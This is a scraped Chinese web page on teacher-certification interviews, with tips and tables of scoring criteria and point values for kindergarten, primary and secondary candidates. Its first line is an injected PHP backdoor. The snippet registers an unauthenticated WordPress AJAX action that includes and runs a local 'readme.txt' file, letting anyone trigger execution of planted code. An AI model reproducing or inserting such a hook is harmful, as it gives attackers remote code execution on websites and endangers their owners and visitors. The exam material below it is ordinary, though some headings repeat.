if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
>>>教师资格面试之四个细节问题
面试临近,结构化相对来说是考生比较陌生的考察方式,而其中的政策类问题更是让很多考生头疼不已。那么今天,我们就教大家如何巧妙地针对这一题型来审题破题。
>>>2015年教师资格国考面试试讲通用模板
【评分标准】:
| 序号 | 测试项目 | 权重 | 分值 | 评分标准 |
| 一 | 职业认知 | 10 | 5 | 爱幼儿,尊重幼儿 |
| 5 | 有热情、有责任心 | |||
| 二 | 心理素质 | 10 | 5 | 能较好地调控情绪与情感 |
| 5 | 开朗、乐观、善良 | |||
| 三 | 仪表仪态 | 10 | 6 | 五官端正,行为举止自然大方,有礼貌 |
| 4 | 服饰得体,符合幼儿教师职业特点 | |||
| 四 | 交流沟通 | 15 | 8 | 有较好的言语表达能力。普通话标准,口齿清楚,表达流畅,语速适当,有感染力 |
| 7 | 善于倾听、交流,有亲和力 | |||
| 五 | 思维品质 | 15 | 8 | 能条理清晰地分析思考问题 |
| 7 | 有一定的应变能力,在活动设计与实施、环境创设上表现出一定新意 | |||
| 六 | 了解幼儿 | 10 | 5 | 有了解幼儿兴趣、需要、已有经验和个体差异的意识 |
| 5 | 能通过观察来了解幼儿 | |||
| 七 | 技能技巧 | 20 | 10 | 熟悉一些幼儿喜欢的游戏和故事。 |
| 10 | 具有弹、唱、画、跳、讲故事、手工制作等基本技能。 | |||
| 八 | 评价与反思 | 10 | 5 | 能对教育活动和教育行为进行较客观的评价。 |
| 5 | 能根据评价结果提出改进意见。 |
>>>2015年教师资格国考面试试讲通用模板
面试即将来临,国家教师资格考试网提醒各位考生:中小学教师资格考试面试满分100分,中小学教师资格面试评分标准及分值详解详情如下(中职教师面试分值同中学教师):
| 序号 | 幼儿园教师 | 小学教师 | 中学教师 | ||||||
| 项目 | 分值 | 评分标准 | 项目 | 分值 | 评分标准 | 项目 | 分值 | 评分标准 | |
| 1 | 职业认识 | 10 | 点击查看 | 职业认识 | 5 | 点击查看 | 职业认识 | 5 | 点击查看 |
| 2 | 心理素质 | 10 | 心理素质 | 10 | 心理素质 | 5 | |||
| 3 | 仪表仪态 | 10 | 仪表仪态 | 10 | 仪表仪态 | 5 | |||
| 4 | 交流沟通 | 15 | 言语表达 | 15 | 言语表达 | 15 | |||
| 5 | 思维品质 | 15 | 思维品质 | 15 | 思维品质 | 15 | |||
| 6 | 了解幼儿 | 10 | 教学设计 | 10 | 教学设计 | 10 | |||
| 7 | 技能技巧 | 20 | 教学实施 | 25 | 教学实施 | 35 | |||
| 8 | 评价与反思 | 10 | 教学评价 | 10 | 教学评价 | 10 | |||